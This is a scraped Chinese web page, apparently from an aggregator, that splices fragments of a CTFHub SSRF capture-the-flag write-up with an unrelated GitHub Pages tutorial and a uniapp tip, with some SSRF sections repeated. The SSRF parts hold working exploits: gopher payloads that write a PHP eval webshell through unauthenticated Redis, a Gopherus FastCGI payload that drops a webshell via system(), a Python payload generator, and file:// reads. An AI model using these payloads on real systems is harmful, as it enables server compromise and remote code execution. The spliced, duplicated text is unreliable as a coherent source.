gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2430%0D%0A%0A%0A%3C%3Fphp%20eval%28%24_POST%5B%271%27%5D%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A
但是二次编码时输入不成功,不知道为什么。这里我还是用whoami大师的方法来玩。
构造redis命令:
flushall<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />set 1 ''<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />config set dir /var/www/html<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />config set dbfilename shell.php<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />save
大师 WHOAMI 的 EXP 脚本:
import urllib<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />protocol="gopher://"<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />ip="127.0.0.1"<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />port="6379"<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />shell="\n\n\n\n"<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />filename="shell.php"<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />path="/var/www/html"<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />passwd=""<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />cmd=["flushall",<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />"set 1 {}".format(shell.replace(" ","${IFS}")),<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />"config set dir {}".format(path),<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />"config set dbfilename {}".format(filename),<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />"save"<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />]<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />if passwd:<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />cmd.insert(0,"AUTH {}".format(passwd))<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />payload=protocol+ip+":"+port+"/_"<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />def redis_format(arr):<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />CRLF="\r\n"<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />redis_arr = arr.split(" ")<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />cmd=""<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />cmd+="*"+str(len(redis_arr))<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />for x in redis_arr:<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />cmd+=CRLF<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />return cmd<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" /><br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />if __name__=="__main__":<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />for x in cmd:<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />payload += urllib.quote(redis_format(x))<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />print urllib.quote(payload) # 由于我们这里是GET,所以要进行两次url编<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />码
生成以下负载
gopher%3A//127.0.0.1%3A6379/_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252435%250D%250A%250A%250A%253C%253Fphp%2520eval%2528%2524_POST%255B%2522whoami%2522%255D%2529%253B%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A/var/www/html%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A
获取传值,蚁剑连接。
但是我一直报错,很奇怪
常见的绕过方法
这里还是用ctfhub的话题,不过绕过方法,我会展开buu和ctfshow的相关话题。
网址绕过
标题说明:请求的URL必须收录,尝试使用URL的某些特殊部分绕过此限制
构建有效载荷:
?url=http://notfound.ctfhub.com@127.0.0.1/flag.php
扩展名:如果需要以 .com 开头并以 @ 结尾
有效载荷
免费提供:利用 GitHub 快速搭建一个免费个人网站 | 2022(无需编程)
首先,让我展示一下成品:我的个人 网站。
使用 GitHub Pages 服务的好处是:
唯一的限制是你只能构建静态的网站——即只有信息呈现,没有用户交互。但是对于个人网站来说,静态网站就绰绰有余了。
学习成本:
个人网站是建立个人品牌的重要手段。无论是求职还是提升行业影响力,个人网站都是加分项。
如今,建立个人网站 非常容易,但拥有个人网站 的人仍然很少——将其添加到您的简历中会有所不同。
还等什么,开始吧!
1.注册一个 GitHub 帐户(如果有,请跳过)
GitHub是微软旗下全球最大的开源社区和代码托管平台,是程序员最常用的网站程序之一。
访问,点击右上角“注册”:
来个炫酷的注册界面(背景星空会动)!
按照提示,输入邮箱地址,设置密码,设置ID(支持字母数字,“-”符号)。
应谨慎选择此 ID,因为它将出现在个人 网站 的域名中。作为演示,我这里使用了“test-user-2022”,那么最终的个人网站地址就是test-user-2022.github.io:
然后会有一个用户验证(从一堆图像中选择一个指定的),验证码将在完成后发送到您的电子邮件。输入验证码,账号就创建好了。
默认情况下,您将进入以下页面并询问您一些问题。如果不想回答,直接点击底部跳过
2.创建指定仓库
点击右上角的用户头像,在下拉框中选择“Your repositories”。
如果是新注册的账号,列表为空。点击“新建”按钮:

在下一页,在“Repository name”下输入“[your ID].github.io”作为存储库名称。
比如我这里的ID是test-user-2022,那么就输入test-user-2022.github.io。
然后点击底部的“创建仓库”:
3.选择一个主题
上一步的仓库创建成功后,会自动跳转到新创建的仓库。
你可以看到一堆操作指南,忽略它。点击“设置”:
在仓库设置页面,点击左侧导航栏中的“页面”:
点击“选择主题”为您的个人选择一个主题网站:
GitHub Pages 提供 12 个可选主题。选择后,点击“选择主题”:
(如果您在开头点击我的个人资料网站,您会发现我使用的是默认的 Cayman 主题。)
4. 发布和查看网站
选择主题后,会来到以下页面。
GitHub默认会生成一些文本,点击“预览”查看效果:
这里使用的是一种称为“Markdown”的语法。学习门槛不高,程序员一般都非常熟悉。
你可以不用管它,点击页面底部的“提交更改”按钮,先发布网站!无论如何,您可以随时返回并更改它:

确认发布后,会跳转到仓库中刚刚生成的“index.md”文件:
您现在可以访问您的个人网站!还是在仓库的“设置”-“页面”页面,可以看到网站已经发布了(发布网站大概需要一两分钟):
URL 格式为“[your ID].github.io”,与仓库名称相同。
访问效果:
5. 编辑 网站内容
当然,此时显示的是GitHub默认生成的文本,需要自己替换成自己的内容。
如何编辑?只需使用 GitHub 提供的网页编辑器即可。
在刚才的“index.md”文件页面,点击编辑图标:
然后在编辑器中使用markdown语法修改内容。
markdown 语法并不难。以下是一些最常见的语法:
另外,如果需要使用图片,可以直接将图片拖放到编辑器中。
修改后点击“预览”进行预览。
如果没有问题,点击页面底部的“Commit changes”,一两分钟就可以看到更新的人了网站哦~
上面的“test-user-2022”是我临时创建的用于演示的用户。我个人的 网站 实际存储库是 /chen-ni/chen-ni.github.io 供您参考。
我只是做了一个非常简单的一页个人网站,因为它已经足够了。如果需要,您还可以使其更复杂,而不是使用现成的主题 - 但这超出了本文的范围。
更多程序员实用工具,欢迎关注@Nichen~
php curl抓取网页指定内容 常用方法:浅析SSRF的各种利用方式
网站优化 • 优采云 发表了文章 • 0 个评论 • 78 次浏览 • 2022-09-22 15:24
标题说明:尝试在12处访问flag.php7.0.0.1
有效负载:?url=
这是因为过滤不严格,所以我们可以访问内网。
字典协议
在SSRF中,可以使用dict协议和http协议来检测内网的活跃度和端口开放情况。
标题说明:来sexy CTFHub在线扫描端口,据说端口范围是8000-9000
应该通过题来判断,和上题类似,但是是端口问题
先判断哪个端口有web服务
这里是直接用burp爆端口
但是估计是环境有问题,想要的端口还没炸。
如果这里爆了,直接访问就行了
文件伪协议
标题说明:尝试阅读Web目录下的flag.php
文件作为协议不用多说
有效负载:?url=file:/var/www/html/flag.php
但您需要知道文件的确切位置才能读取敏感信息。
Gopher 协议
Gopher 是 Internet 上非常知名的信息搜索系统。它将 Internet 上的文件组织成某种索引,非常方便地将用户从 Internet 上的一个地方带到另一个地方。如果发起了 post 请求,则需要使用回车和换行符 %0d%0a。如果有多个参数,参数之间的&也需要进行URL编码。
Gopher 经常在 SSRF 中用于构造 GET/POST 数据包以攻击应用程序。
标题说明:这次是发送一个 HTTP POST 请求。顺便说一下,ssrf是用php的curl实现的。并且会跟踪302跳转,我准备了一个302.php,可能对你有用。
输入主题直接查看源码
?url=file:/var/www/html/flag.php 和 ?url=file:/var/www/html/index.php
index.php
这里告诉我们用127.0.0.1来访问flag.php
key,貌似是要我们POST这个key,但是提交页面没有提交按钮,所以需要到本地新建一个POST
这里我们需要构造一个POST包
gopher://127.0.0.1:80/_POST /flag.php HTTP/1.1<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />Host: 127.0.0.1:80<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />Content-Type: application/x-www-form-urlencoded<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />Content-Length: 36<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" /><br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />key=00f001523d0b955749ea5e3b0ca09b5f
然后我们可以做url编码,编码的数量取决于我们的访问次数。
第一次编码:
gopher://127.0.0.1:80/_POST%20/flag.php%20HTTP/1.1%0AHost:%20127.0.0.1:80%0AContent-Type:%20application/x-www-form-urlencoded%0AContent-Length:%2036%0A%0Akey=f1688c97bf2e6dda47be87e4d8f87cd7
把%0A换成%0d%0A,最后加上%0d%0A,最后加上%0d%0a (\r\n)
gopher://127.0.0.1:80/_POST%20/flag.php%20HTTP/1.1%0d%0AHost:%20127.0.0.1:80%0d%0AContent-Type:%20application/x-www-form-urlencoded%0d%0AContent-Length:%2036%0d%0A%0d%0Akey=f1688c97bf2e6dda47be87e4d8f87cd7%0d%0a
然后做一个 URL 编码
gopher%3A//127.0.0.1%3A80/_POST%2520/flag.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250AContent-Length%253A%252036%250D%250A%250D%250Akey%253Df1688c97bf2e6dda47be87e4d8f87cd7%250D%250A
当然是手动编码,再加上复杂的转换,大大增加了错误率,于是我在网上找了一个脚本
import urllib.parse<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />payload =\<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />"""POST /flag.php HTTP/1.1<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />Host: 127.0.0.1<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />Content-Type: application/x-www-form-urlencoded<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />Content-Length: 36<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" /><br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />key=c384d200658f258e5b5c681bf0aa29a8<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />""" <br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" /><br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />#注意后面一定要有回车,回车结尾表示http请求结束<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />tmp = urllib.parse.quote(payload)<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />new = tmp.replace('%0A','%0D%0A')<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />result = 'gopher://127.0.0.1:80/'+'_'+new<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />result = urllib.parse.quote(result)<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />print(result) # 这里因为是GET请求所以要进行两次url编码
您可以直接对结果进行编码并提交。
FastCGI 协议
标题说明:这次。我们需要攻击 fastcgi 协议。也许所附的文章会对你有所帮助
发个附件介绍fastcgi协议和PHP-FPM
FastCGI<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" /><br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />Wikipedia对FastCGI的解释:快速通用网关接口(FastCommon Gateway Interface/FastCGI)是一种让交互程序与Web服务器通信的协议。FastCGI是早期通用网关接口(CGI)的增强版本。FastCGI致力于减少网页服务器与CGI程序之间交互的开销,从而使服务器可以同时处理更多的网页请求。<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" /><br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />php-fpm<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" /><br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />官方对php-fpm的解释是FPM(FastCGI 进程管理器)用于替换 PHP FastCGI 的大部分附加功能,对于高负载网站是非常有用的。也就是说php-fpm是FastCGI的一个具体实现,其默认监听9000端口
这里,虽然附件中给出的复现方法已经很好了,但是查了资料后发现还有第二种方法,而且比较简单,所以我就用第二种方法复现了.
使用工具 Gopherus() 生成攻击 FastCGI 协议的有效载荷
python gopherus.py --exploit fastcgi<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />/var/www/html/index.php # 这里输入的是一个已知存在的php文件<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />echo PD9waHAgZXZhbCgkX1BPU1Rbd2hvYW1pXSk7Pz4 | base64 -d > /var/www/html/shell.php
这里我直接指master的payload,生成的payload
gopher://127.0.0.1:9000/_%0FSERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0FSERVER_PROTOCOLHTTP/1.1%0ECONTENT_LENGTH134%0EREQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0FSCRIPT_FILENAME/var/www/html/index.php%20%20%0DDOCUMENT_ROOT/%86%3C%3Fphp%20system%28%27echo%20PD9waHAgZXZhbCgkX1BPU1Rbd2hvYW1pXSk7Pz4%20%7C%20base64%20-d%20%3E%20/var/www/html/shell.php%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E
这里是url-encoded,因为url会解码一次,curl也会解码一次,所以需要编码两次。这个payload已经被编码过一次,所以可以再次编码。
gopher%3A//127.0.0.1%3A9000/_%2501%2501%2500%2501%2500%2508%2500%2500%2500%2501%2500%2500%2500%2500%2500%2500%2501%2504%2500%2501%2501%2505%2505%2500%250F%2510SERVER_SOFTWAREgo%2520/%2520fcgiclient%2520%250B%2509REMOTE_ADDR127.0.0.1%250F%2508SERVER_PROTOCOLHTTP/1.1%250E%2503CONTENT_LENGTH134%250E%2504REQUEST_METHODPOST%2509KPHP_VALUEallow_url_include%2520%253D%2520On%250Adisable_functions%2520%253D%2520%250Aauto_prepend_file%2520%253D%2520php%253A//input%250F%2517SCRIPT_FILENAME/var/www/html/index.php%250D%2501DOCUMENT_ROOT/%2500%2500%2500%2500%2500%2501%2504%2500%2501%2500%2500%2500%2500%2501%2505%2500%2501%2500%2586%2504%2500%253C%253Fphp%2520system%2528%2527echo%2520PD9waHAgZXZhbCgkX1BPU1Rbd2hvYW1pXSk7Pz4%2520%257C%2520base64%2520-d%2520%253E%2520/var/www/html/shell.php%2527%2529%253Bdie%2528%2527-----Made-by-SpyD3r-----%250A%2527%2529%253B%253F%253E%2500%2500%2500%2500
然后上传成功
蚂蚁剑连接壳
连接成功,在根目录下找到flag
Redis 协议
标题说明:这次来攻击redis协议,redis://127.0.0.1:6379。材料?无信息!自己找!
众所周知,redis服务是在6379端口开启的,通常是利用redis的非授权访问来达到写shell或者反弹ssh的目的。
这里本来是想用gopherus直接生成redis的未授权访问并写入shell
gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2430%0D%0A%0A%0A%3C%3Fphp%20eval%28%24_POST%5B%271%27%5D%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A
但是二次编码时输入不成功,不知道为什么。这里我还是用whoami大师的方法来玩。
构造redis命令:
flushall<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />set 1 ''<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />config set dir /var/www/html<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />config set dbfilename shell.php<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />save
大师 WHOAMI 的 EXP 脚本:
import urllib<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />protocol="gopher://"<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />ip="127.0.0.1"<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />port="6379"<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />shell="\n\n\n\n"<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />filename="shell.php"<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />path="/var/www/html"<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />passwd=""<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />cmd=["flushall",<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />"set 1 {}".format(shell.replace(" ","${IFS}")),<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />"config set dir {}".format(path),<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />"config set dbfilename {}".format(filename),<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />"save"<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />]<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />if passwd:<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />cmd.insert(0,"AUTH {}".format(passwd))<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />payload=protocol+ip+":"+port+"/_"<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />def redis_format(arr):<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />CRLF="\r\n"<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />redis_arr = arr.split(" ")<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />cmd=""<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />cmd+="*"+str(len(redis_arr))<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />for x in redis_arr:<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />cmd+=CRLF<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />return cmd<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" /><br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />if __name__=="__main__":<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />for x in cmd:<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />payload += urllib.quote(redis_format(x))<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />print urllib.quote(payload) # 由于我们这里是GET,所以要进行两次url编<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />码
生成以下负载
gopher%3A//127.0.0.1%3A6379/_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252435%250D%250A%250A%250A%253C%253Fphp%2520eval%2528%2524_POST%255B%2522whoami%2522%255D%2529%253B%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A/var/www/html%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A
获取传值,蚁剑连接。
但是我一直报错,很奇怪
常见的绕过方法
这里还是用ctfhub的话题,不过绕过方法,我会展开buu和ctfshow的相关话题。
网址绕过
标题说明:请求的URL必须收录,尝试使用URL的某些特殊部分绕过此限制
构建有效载荷:
?url=http://notfound.ctfhub.com@127.0.0.1/flag.php
扩展名:如果需要以 .com 开头并以 @ 结尾
有效载荷
解决方法:uniapp 里 onshow 接收不到参数如何解决?
场景描述:
普通页面onLoad可以接收上一页的参数
onLoad(e) {
//获取上个页面传递的地址栏参数 id
console.log(e.id);
<p>
}</p>
但是 onLoad() 页面只会加载一次。
现在有这样一个应用场景:
页面A跳转到页面B,当页面B处理完毕再返回页面A时,页面A不会触发onLoad()。
如果当前页面是其他页面的回调页面,那么其他页面跳转到回调页面时如何获取参数?
此时需要使用onShow()的钩子函数来处理页面栈数据。
onShow(){
<p>
let allPages = getCurrentPages(); //获取当前页面栈的实例;
console.log(allPages);
let lastPages = allPages.length - 1; // 获得倒数第二个元素的索引;
console.log(lastPages);
let option = allPages[lastPages].options; // 获得上个页面传递的参数;
console.log(option);
}</p>
此时,这样就可以从option中获取地址栏参数了。 查看全部
php curl抓取网页指定内容 常用方法:浅析SSRF的各种利用方式
标题说明:尝试在12处访问flag.php7.0.0.1
有效负载:?url=
这是因为过滤不严格,所以我们可以访问内网。
字典协议
在SSRF中,可以使用dict协议和http协议来检测内网的活跃度和端口开放情况。
标题说明:来sexy CTFHub在线扫描端口,据说端口范围是8000-9000
应该通过题来判断,和上题类似,但是是端口问题
先判断哪个端口有web服务
这里是直接用burp爆端口
但是估计是环境有问题,想要的端口还没炸。
如果这里爆了,直接访问就行了
文件伪协议
标题说明:尝试阅读Web目录下的flag.php
文件作为协议不用多说
有效负载:?url=file:/var/www/html/flag.php
但您需要知道文件的确切位置才能读取敏感信息。
Gopher 协议
Gopher 是 Internet 上非常知名的信息搜索系统。它将 Internet 上的文件组织成某种索引,非常方便地将用户从 Internet 上的一个地方带到另一个地方。如果发起了 post 请求,则需要使用回车和换行符 %0d%0a。如果有多个参数,参数之间的&也需要进行URL编码。
Gopher 经常在 SSRF 中用于构造 GET/POST 数据包以攻击应用程序。
标题说明:这次是发送一个 HTTP POST 请求。顺便说一下,ssrf是用php的curl实现的。并且会跟踪302跳转,我准备了一个302.php,可能对你有用。
输入主题直接查看源码
?url=file:/var/www/html/flag.php 和 ?url=file:/var/www/html/index.php
index.php
这里告诉我们用127.0.0.1来访问flag.php
key,貌似是要我们POST这个key,但是提交页面没有提交按钮,所以需要到本地新建一个POST
这里我们需要构造一个POST包
gopher://127.0.0.1:80/_POST /flag.php HTTP/1.1<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />Host: 127.0.0.1:80<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />Content-Type: application/x-www-form-urlencoded<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />Content-Length: 36<br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" /><br style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;" />key=00f001523d0b955749ea5e3b0ca09b5f
然后我们可以做url编码,编码的数量取决于我们的访问次数。
第一次编码:
